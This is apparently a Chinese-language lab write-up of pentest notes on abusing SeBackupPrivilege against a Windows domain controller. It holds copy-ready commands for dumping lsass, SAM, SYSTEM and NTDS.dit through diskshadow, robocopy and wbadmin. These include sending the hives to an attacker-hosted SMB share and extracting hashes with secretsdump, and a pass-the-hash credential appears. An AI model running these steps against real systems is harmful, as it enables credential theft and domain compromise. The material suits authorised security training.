本文最后更新于219 天前,其中的信息可能已经过时,如有错误请发送邮件到big_fw@foxmail.com
robocopy /b C:\Users\Administrator\Desktop\ C:\
命令将administrator 目录中的文件 复制出来b
:以“备份模式”复制文件
1.获得 lsass程序的转储文件
lsass.dmp lsass程序的镜像文件
2.使用 pypykatz 将凭证提取出来
pip install pypykatz
pypykatz lsa minidump lsass.dmp
使用脚本
方案1
1.建立smb共享
python3 /usr/share/doc/python3-impacket/examples/smbserver.py share . -smb2support
2.使用下载的reg.py 获得sam system 等文件
python3 reg.py blackfield.local/svc_backup@10.10.10.192 -hashes 'aad3b435b51404eeaad3b435b51404ee:9658d1d1dcd9250115e2205d9f48400d' backup -p '\\10.10.14.2\share'
3.使用工具将 备份文件中的凭证转出来
impacket-secretsdump -system=SYSTEM -sam=SAM LOCAL
卷影副本(Volume Shadow Copy,VSS)是微软 Windows 操作系统中的一种快照技术,允许系统在某一时刻对文件或磁盘卷进行快照。该技术可以在不锁定文件的情况下,对正在使用的文件进行备份或恢复,因此广泛应用于系统备份、文件恢复等场景
通过卷影副本(Volume Shadow Copy),你可以复制 NTDS.dit
文件。NTDS.dit
是 Active Directory 数据库文件,它存储了域用户、计算机和安全信息。由于文件通常被系统锁定,无法直接复制,但通过卷影副本可以绕过锁定,将其复制出来。
通过 diskshadow.exe
创建卷影副本
资料部分
1.创建卷影副本后,将其映射到一个虚拟驱动器盘符上, `F:`
diskshadow.exe
set verbose on
set metadata C:\Windows\Temp\meta.cab
set context clientaccessible
begin backup
add volume C: alias cdrive
create
expose %cdrive% F:
end backup
exit
2.复制 NTDS.dit 文件
Copy-FileSeBackupPrivilege F:\Windows\NTDS\ntds.dit C:\Tools\ntds.dit
robocopy /B F:\Windows\NTDS .\ntds ntds.dit
3.提取`SYSTEM`和`SAM`以进行哈希检索
reg save HKLM\SYSTEM SYSTEM.SAV
reg save HKLM\SAM SAM.SAV
4.从`NTDS.dit`检索所有哈希值
secretsdump.py -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL
set verbose on
作用:启用详细模式,使 diskshadow 显示操作的详细信息,便于调试和了解过程中的每个步骤。
set metadata C:\Windows\Temp\meta.cab
作用:指定备份的元数据文件。元数据文件包含有关备份的详细信息,存储在 C:\Windows\Temp\meta.cab 中。
set context clientaccessible
作用:将卷影副本的上下文设置为 client-accessible(客户端可访问)。这样创建的卷影副本不仅系统可以访问,客户端应用程序也可以访问。通常在文件共享或其他客户端需要访问备份时使用。
begin backup
作用:开始备份操作。
add volume C: alias cdrive
作用:添加 C: 卷,并为其设置别名为 cdrive。这是将备份的目标卷(在本例中为 C:)添加到备份集中。
create
作用:创建卷影副本。系统会根据之前的设置创建快照。
expose %cdrive% F:
作用:将创建的卷影副本暴露为虚拟驱动器 F:。这样你可以像访问普通驱动器一样访问卷影副本中的文件。
end backup
作用:结束备份操作,通知系统备份已完成。
exit
方案2
1.create cmd文本
内容如下:
set context persistent nowriters
add volume c: alias temp
create
expose %temp% h:
exit
需要在每行末尾有一个额外的空格,否则 diskshadow 会删除一个字符,并且该命令将变得无效
2.diskshadow /s cmd
diskshadow /s cmd 命令用于在 Windows 中以脚本模式运行 `DiskShadow` 工具。
`/s` 参数告诉 `DiskShadow` 从指定的脚本文件中读取命令并执行这些命令,而不是等待用户在交互模式中输入命令。
3. SeBackupPrivilege 脚本 从卷影副本中导出 NTDS,SYSTEM
https://github.com/giuliano108/SeBackupPrivilege.git
Copy-FileSeBackupPrivilege h:\windows\ntds\ntds.dit c:\windows\temp\NTDS -Overwrite
Copy-FileSeBackupPrivilege h:\windows\system32\config\SYSTEM c:\windows\temp\SYSTEM -Overwrite
4.impacket-secretsdump -ntds ntds -system system LOCAL
如果这不是域控制器,则不会有 NTDS.dit 文件可从中获取密码,因此我们需要下载 SYSTEM、SAM 和 SECURITY 文件:
Copy-FileSeBackupPrivilege h:\windows\system32\config\SYSTEM c:\windows\temp\SYSTEM -Overwrite
Copy-FileSeBackupPrivilege h:\windows\system32\config\SECURITY c:\windows\temp\SECURITY -Overwrite
Copy-FileSeBackupPrivilege h:\windows\system32\config\SAM c:\windows\temp\SAM -Overwrite
robocopy h:\windows\ntds c:\Users ntds.dit /b
tree
.
├── README.md
├── SeBackupPrivilege.sln
├── SeBackupPrivilegeCmdLets
│ ├── CmdLets.cs
│ ├── Properties
│ │ └── AssemblyInfo.cs
│ ├── SeBackupPrivilegeCmdLets.csproj
│ └── bin
│ └── Debug
│ ├── SeBackupPrivilegeCmdLets.dll
│ └── SeBackupPrivilegeUtils.dll
├── SeBackupPrivilegeTest
│ ├── Program.cs
│ ├── Properties
│ │ └── AssemblyInfo.cs
│ ├── SeBackupPrivilegeTest.csproj
│ └── SeBackupPrivilegeTest.sln
├── SeBackupPrivilegeUtils
│ ├── Properties
│ │ └── AssemblyInfo.cs
│ ├── SeBackupPrivilegeUtils.csproj
│ ├── SeBackupPrivilegeUtils.sln
│ └── Utils.cs
└── TODO.md
方案3
有一个问题 需要windows机器wbadmin
工具要求备份目标卷必须使用 NTFS 或 ReFS 文件系统格式化,以确保文件和元数据能够被正确地处理和保护。
1.
python3 /usr/share/doc/python3-impacket/examples/smbserver.py share . -smb2support -username df -password df
2.
net use \\10.10.14.18\share /user:df df
3.
wbadmin start backup -quiet -include:C:\Windows\NTDS\NTDS.dit -backuptarget:\\10.10.14.18\\share